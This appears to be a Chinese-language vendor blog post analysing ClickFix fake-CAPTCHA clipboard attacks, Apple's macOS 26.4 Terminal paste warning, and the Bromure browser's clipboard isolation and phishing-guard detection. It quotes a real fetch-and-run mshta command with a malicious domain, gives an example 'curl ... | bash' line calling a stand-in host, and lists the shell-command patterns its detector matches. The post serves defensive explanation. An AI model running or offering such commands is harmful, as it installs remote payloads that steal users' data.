剪贴板就是漏洞——ClickFix 把每一个防御者都逼到了哪里
一个假 CAPTCHA 把一行 PowerShell 写进剪贴板。用户按下 Win+R 然后粘贴。不需要沙箱逃逸,不需要零日漏洞,不需要签名二进制——人就是那个漏洞。这里是我们今天拿得出手的对策、仍然存在的缺口,以及 Apple 在 macOS 26.4 里做对了什么、又做错了什么。
一个页面假装自己是一个 CAPTCHA。在用户阅读「我不是机器人」的说明时,这个页面悄悄地把一条 PowerShell 命令写进了剪贴板。然后它让用户按 Win+R 再粘贴,「以便验证」。人就是那个漏洞。这就是 ClickFix,它是真的难拦——不是因为它有多巧妙,而是因为它绕开了几乎每一层浏览器生来就要提供的防御。
2026 年 4 月 9 日,Rapid7 观察到一名用户访问了一个看起来像是 Anthropic Claude 桌面应用下载页的网站。页面要求他「验证自己是人类」。当他点击按钮时,页面把下面这串字符放到了剪贴板里:
mshta https://download-version.1-5-8.com/claude.msixbundle
然后它让用户按 Win+R 再粘贴。用户照做了。mshta.exe 是一个用来执行 HTML 应用程序的 Windows 二进制文件,二十多年来每一个版本的操作系统里都带着它。mshta 所执行的,是一条最后落在主机上的信息窃取程序的链。没有任何浏览器漏洞被触及。没有任何代码签名检查被绕过。没有任何提权提示框弹出。浏览器完全按照用户的要求办事;操作系统完全按照用户的要求办事。攻击者只是借这两者之口来下达指令,并把剪贴板当作导线。
四天之后,Booking.com 披露其酒店合作方网络遭到了相同手法的攻击——微软将其追踪为 Storm-1865——最终载荷是 XWorm 和 VenomRAT。微软自己在一篇更早的文章里,把 2025 年初始访问入侵的百分之四十七归因于这一个模式。Booking.com 的合作方并没有点开一个恶意附件。他们没有下载一个可执行文件。他们按下了 Win+R,粘贴了一串东西。如今搞定一切就只需要这些。
ClickFix 为什么奏效。
这条攻击链画在餐巾纸上就够了。
人们通常会伸手去够的每一个防御,在载荷运行的时候都已经输了。URL 信誉过滤?攻击者昨天才把 download-version.1-5-8.com 注册下来。浏览器沙箱?载荷根本不打算逃出浏览器——它只是让用户去替它执行。可执行文件上的代码签名检查?mshta.exe 是一个签过名的微软二进制文件。提权弹窗?mshta 不需要提权就能下载并运行一个 HTA。端点代理?它看到的是父进程 explorer.exe 被一个用户按键所触发,而这和用户在自己电脑上随便运行其他任何东西完全无法区分。
ClickFix 把整台电脑上业界最修不了的那一块——坐在电脑前的那个人——变成了执行阶段。这就是它如今无处不在的原因。Storm-1865 活动用的是 Booking.com 品牌的诱饵。Rapid7 的案例用的是 Claude 安装程序诱饵。Facebook 创作者账号接管已经用同样的手法持续了好几个月。诱饵每周都在换,机制却不变。
同一种攻击,瞄准的是 macOS。
Rapid7 捕到的样本、Booking.com 的泄露,以及 Facebook 创作者账号接管,针对的都是 Windows 主机。这是这一周数据里一个真实存在的偏差——ClickFix 这个行业现在主要是一个 Windows 行业——但这是市场的属性,而不是攻击本身的属性。ClickFix 是一种剪贴板加键盘的技术。它不在乎键盘接在哪个操作系统上。
在 macOS 上,替换是机械性的。Win+R 变成 Cmd+Space,然后是 Terminal——最近也会是 Script Editor。mshta 这一行变成 curl -s https://evil.example | bash,或者一条 osascript -e 单行命令,或者一段 base64 编码的 AppleScript do shell script。假 CAPTCHA 还是假 CAPTCHA;剪贴板写入还是剪贴板写入;页面那段「验证你是人类」的脚本只改了两句话。Bitdefender 今年早些时候记录过针对 Mac 的 ClickFix 诱饵,投递 Atomic Stealer,而且——正如我们稍后会看到的那样——Apple 觉得有必要在 macOS 26.4 里推出一项平台层级的响应这件事本身,就是 Mac 变体并非假想这件事最清楚不过的信号。
对 Bromure 来说,这是一个具有承重意义的场景。Bromure 跑在 macOS 上。我们交付给的每一个用户,在他是别的什么之前,都是一个 macOS ClickFix 目标。当我们在下一节谈论剪贴板隔离和 phishing-guard 时,我们谈论的不是一个 Windows 上的奇闻逸事——我们谈论的,是一种已经落在我们用户正在使用的那个操作系统上的手法,而他们选择的这个平台,正在不完美地尝试给它打补丁。
Bromure 面对 ClickFix 时的诚实姿态。
我们愿意告诉你,Bromure 能阻止 ClickFix。但它做不到。Bromure 所做的,是接手一个此前没人认领的问题——剪贴板作为攻击者可以掌控的、连接浏览器和主机的导线——然后把它放在两层我们正在积极打磨的防御之后:一层架构性的,一层插件式的。这两层都不是最终答案。但两层都比什么都没有要好。它们今天究竟处在什么状态,下面是准确的描述。
第一层——剪贴板隔离,作为一个选项,而不是默认值。
Bromure 把每一个标签页都跑在它自己一台可随时丢弃的 Linux 虚拟机里。页面跑在里面;浏览器跑在里面;假 CAPTCHA 发出的那次 navigator.clipboard 写入,也发生在里面。问题在于,这台虚拟机的剪贴板连到哪里。今天默认情况下,它连到 macOS 宿主的剪贴板——因为大多数时候,剪贴板就是你从浏览器里把一个 URL 复制到「信息」里、或者把一个密码从 1Password 粘贴进登录表单的方式。默认把它断掉,会让浏览器变得难以使用。
全隔离模式会把这个默认值翻过来。在全隔离模式下,虚拟机和 macOS 宿主之间的剪贴板桥被切断。标签页里的页面仍然可以写到它自己那台虚拟机的剪贴板里——如果用户真的愿意,也还可以在那台虚拟机的 Linux 终端里粘贴——但用户粘进 Win+R、粘进 Terminal.app 或者粘进 Spotlight 的那个宿主剪贴板,是一个不同的剪贴板。页面写入的那串 mshta https://... 永远不会到达宿主的粘贴缓冲区。ClickFix 这条链在阶段 2 就被截断了。
对全隔离的诚实评价:对那些想要它的用户来说,这是一个面向 ClickFix 的干净的架构性答案;但它是一笔可用性上的税,我们不愿意把它作为所有人的默认值交付出去。大多数人每天都会在浏览器和笔记、即时通讯、或者他们正在写的文档之间来回复制粘贴几十次。把这条路径变成「默认关闭,自己去设置里找」才能把复制粘贴换回来,会导致多数用户在一周之内就把它重新打开——然后我们就在一次操作里同时教会了他们剪贴板共享的价值和安全的代价。那不是我们想让他们学到的教训。
所以全隔离为想要它的用户准备着,有文档说明,而且它是这个架构对 ClickFix 能说出的最有力的一句话。它不会是大多数用户会开起来用的那种模式。
第二层——反钓鱼插件,今天以及明天。
针对默认姿态——开启剪贴板桥——我们在 Bromure 的反钓鱼组件里交付了第二道防线,我们把它叫做 phishing-guard。它的作用值得描述一下,因为业界大多数产品并不做这件事,而且我们认为它是正确答案的开端,而不是终点。
phishing-guard 在标签页虚拟机的 Chromium 里勾住三个剪贴板写入入口:现代的 navigator.clipboard.writeText 和 clipboard.write API,以及较老的页面仍在使用的旧路径 document.execCommand('copy')。只要有页面向剪贴板写入文本,phishing-guard 就能在宿主剪贴板看到它之前先看到。
然后它并行跑两项检测。第一项,它把剪贴板内容与一组 shell 命令正则表达式进行匹配——我们保留了十条,根据我们实际在野外观察到的载荷进行调优:powershell 调用、mshta https:// 模式、curl ... | bash 管道、base64 编码的 PowerShell 字节串、certutil -urlcache、rundll32 小技巧,以及其他几种。第二项,它扫描已渲染的页面,寻找那些指示用户去执行剪贴板内容的指令模式——一共十三种,多语言——诸如「按 Win+R」、「打开 Terminal」、「粘贴以验证你是人类」,包括英语、法语、西班牙语、德语、葡萄牙语、意大利语、荷兰语、波兰语、日语、韩语、汉语、阿拉伯语和俄语。
当两项同时命中——一次看起来像 shell 命令的剪贴板写入,发生在一个正在诱导用户去粘贴的页面上——phishing-guard 会把候选载荷提交给一个语言模型判定,如果判定为恶意,就在浏览器内弹出一个警告。
即使在按设计工作时,也有两条诚实的限制:LLM 调用有延迟成本,所以一个手快的用户可能在判定返回之前就粘贴了;而正则加页面文本的组合能抓住 ClickFix 的形状,却抓不住所有变体(一个通过嵌入视频而不是文字口头指示用户的页面,今天就能绕过模式扫描)。我们正在积极地加固拦截点、缩小检测窗口。这些都是答案已知的工程问题;只是我们还没干完。
Apple 在 macOS 26.4 里交付了什么——以及它的不足。
2026 年 3 月 24 日,Apple 在操作系统层面交付了同一种形状的想法。macOS 26.4 在第一方的 Terminal.app 里新增了一个粘贴警告对话框:当用户往一个 Terminal 窗口里粘贴时,macOS 会检查剪贴板,在某些条件下会显示一个阻断式对话框,写着「可能存在恶意软件。粘贴已被阻止。你的 Mac 没有受到损害。骗子经常诱导将文本粘贴到 Terminal 中,以试图损害你的 Mac 或危害你的隐私。」这是很好的一步,我们很高兴 Apple 做了。我们也认为,有必要精确说明它是什么、不是什么。
三个值得点名的限制。第一个是,警告活在 Terminal.app 里,而不是 macOS 的剪贴板层里。iTerm2、Alacritty、Warp、Kitty,以及 Mac 开发者社区实际在用的其他每一个终端,都不会继承这项检查。这不是 Apple 的疏忽——这是一个范围选择——但它意味着:最可能去粘贴一条随机 shell 命令的那群用户,也就是有自己偏好终端的工程师,恰好是这项功能保护不到的那群。
第二个是 Script Editor。2026 年 4 月 8 日,Jamf Threat Labs 报告,Atomic Stealer 操作者已经把他们的 ClickFix 社会工程脚本从*「打开 Terminal 粘贴这个」改成了「打开 Script Editor 粘贴这个」,因为 Script Editor 会通过 do shell script 执行 AppleScript 和 shell 命令,而它不在 26.4 警告的覆盖范围内。Jamf 的 Thijs Xhaflaire 说得再直白不过:「通过把执行从 Terminal 迁到 Script Editor,攻击者保留了一套熟悉的投递机制,同时悄悄地改变了命令到底在哪里、以何种方式运行。」* 业界只用了两周就绕开了这项缓解措施。这不是对 Apple 的批评;这是对这个问题形状的批评。你没法靠给一个目标打补丁来解决 ClickFix。
第三个限制是最大的,也是最少被讨论的:macOS 26.4 保护的是 Mac 用户。真正的 ClickFix 产业——支撑 Booking.com 入侵的 Storm-1865 分支组织结构、假 Claude 安装程序活动,以及构成 2025 年百分之四十七初始访问数字大头的那些——交付的都是 Windows 载荷、用的是 Win+R、调用的是 mshta 和 PowerShell,落地的也都是 Windows 主机。Apple 可以把 Terminal.app 保护得完美无缺,但对那批主机一丝一毫都动不了。对于你今年要读的那些 ClickFix 事后复盘,带有粘贴警告的那个操作系统,通常都不是受害者当时在用的那一个。
Apple 做对了什么
把「剪贴板到 shell 命令」视为一条安全相关的粘贴路径,并且在操作系统层面进行检查,让系统上每一个应用都能从中受益。这个框架是对的。一次性的提示、带品牌的对话框、「你的 Mac 没有受到损害」这种措辞——都做得很好。这是第一次平台层面承认剪贴板是一个威胁通道。
为什么它不是全部答案
检查在 Terminal.app 里,而不在剪贴板子系统里。它是一次性的。Script Editor 已经是一个绕过。而且这项功能所设计保护的受害群体,只是 ClickFix 真正针对的群体中一个很小的子集。Apple 交付了一个好功能。它没有交付一个解决方案,而我们也不认为 Apple 宣称它交付了。
浏览器独有的优势在哪里
浏览器看得到那个正在写入剪贴板的页面,以及这个页面用来诱导用户的文字。操作系统只看得到链条的末端。两个独立的信号——剪贴板写入位点,和页面的社会工程文字——合起来,构成了一个操作系统单独无法获得的判定。这就是浏览器做这部分工作的理由。
浏览器够不到的地方
一旦用户把内容粘贴进一个真实的 Terminal、一个真实的运行对话框、一个真实的 Script Editor,载荷就已经越出了浏览器能看到的范围。宿主必须承担它那一份。macOS 26.4 就是宿主在它选择覆盖的地方承担它那一份。Windows 也得做同样的事。这是一个两头都需要使劲的问题。
我们愿意为之辩护的论点。
二十年来,业界对社会工程攻击的回应就是贴海报。「别点可疑链接。」「警惕钓鱼尝试。」「粘贴前先想想。」当一个用户中了 ClickFix,对外的说法通常是某种版本的用户本该更清楚——文章解释如何识别假 CAPTCHA,培训模块,年度安全意识测验,矛头被客气地往下推。这一切底下的假设是:钓鱼本质上是一个人的问题,技术层已经尽力了。
我们不信这一套。我们认为 ClickFix,以及其他所有剪贴板加键盘的社会工程手法,是一个技术问题,一个技术层一直拒绝承担的技术问题。剪贴板是任何网页和操作系统上任何其他应用之间一条没有任何身份验证的消息总线。运行对话框接受任何字符串。Terminal 执行落进去的任何东西。这些设计,没有一个是针对剪贴板如今实际面对的那种攻击者被审计过的。它们不会自己修好。
正确的回应是工作——在浏览器内、在操作系统内、在生态系统协作里——让「剪贴板到 shell 命令」这条路径成为机器愿意代替用户介入的一条路径。macOS 26.4 是一步;Windows 需要它自己的那一步。phishing-guard 是一步;硬拦截剪贴板写入、交付一个剪贴板专属的警告而不是一个通用的旋转指示器、把判定延迟缩小到能跑赢一次手快的粘贴——那些都是下一步。全隔离模式是一步;让它在日常使用中更容易接受,是再下一步。
这里面没有一张海报。没有一步是在要求用户更快识别一个假 CAPTCHA,或者「把鼠标悬在链接上」,或者为了打开一个浏览器标签页而成为一个安全专家。我们认为,人们不该仅仅为了打开一个浏览器标签页而必须成为安全专家。是科技把这事搞坏的。就该让科技来修。
Bromure 面对 ClickFix 的路线图,正是这个信念的形状。我们今天交付的,是一个带两个杠杆的局部防御——一个强力但要付出可用性代价的杠杆,和一个正在以我们所能的最快速度长出牙齿的、更柔和的杠杆。我们明年交付的东西会更锋利。而我们会继续把一项功能能做什么、不能做什么讲清楚,就像这篇文章一样,因为另一种做法——交付一个干净的、带有「ClickFix」旁边一个对勾的营销页面——正是把业界带到今天这个局面的那种东西,在这个局面里,Storm-1865 可以把 2025 年初始访问的百分之四十七搞得像是轻而易举。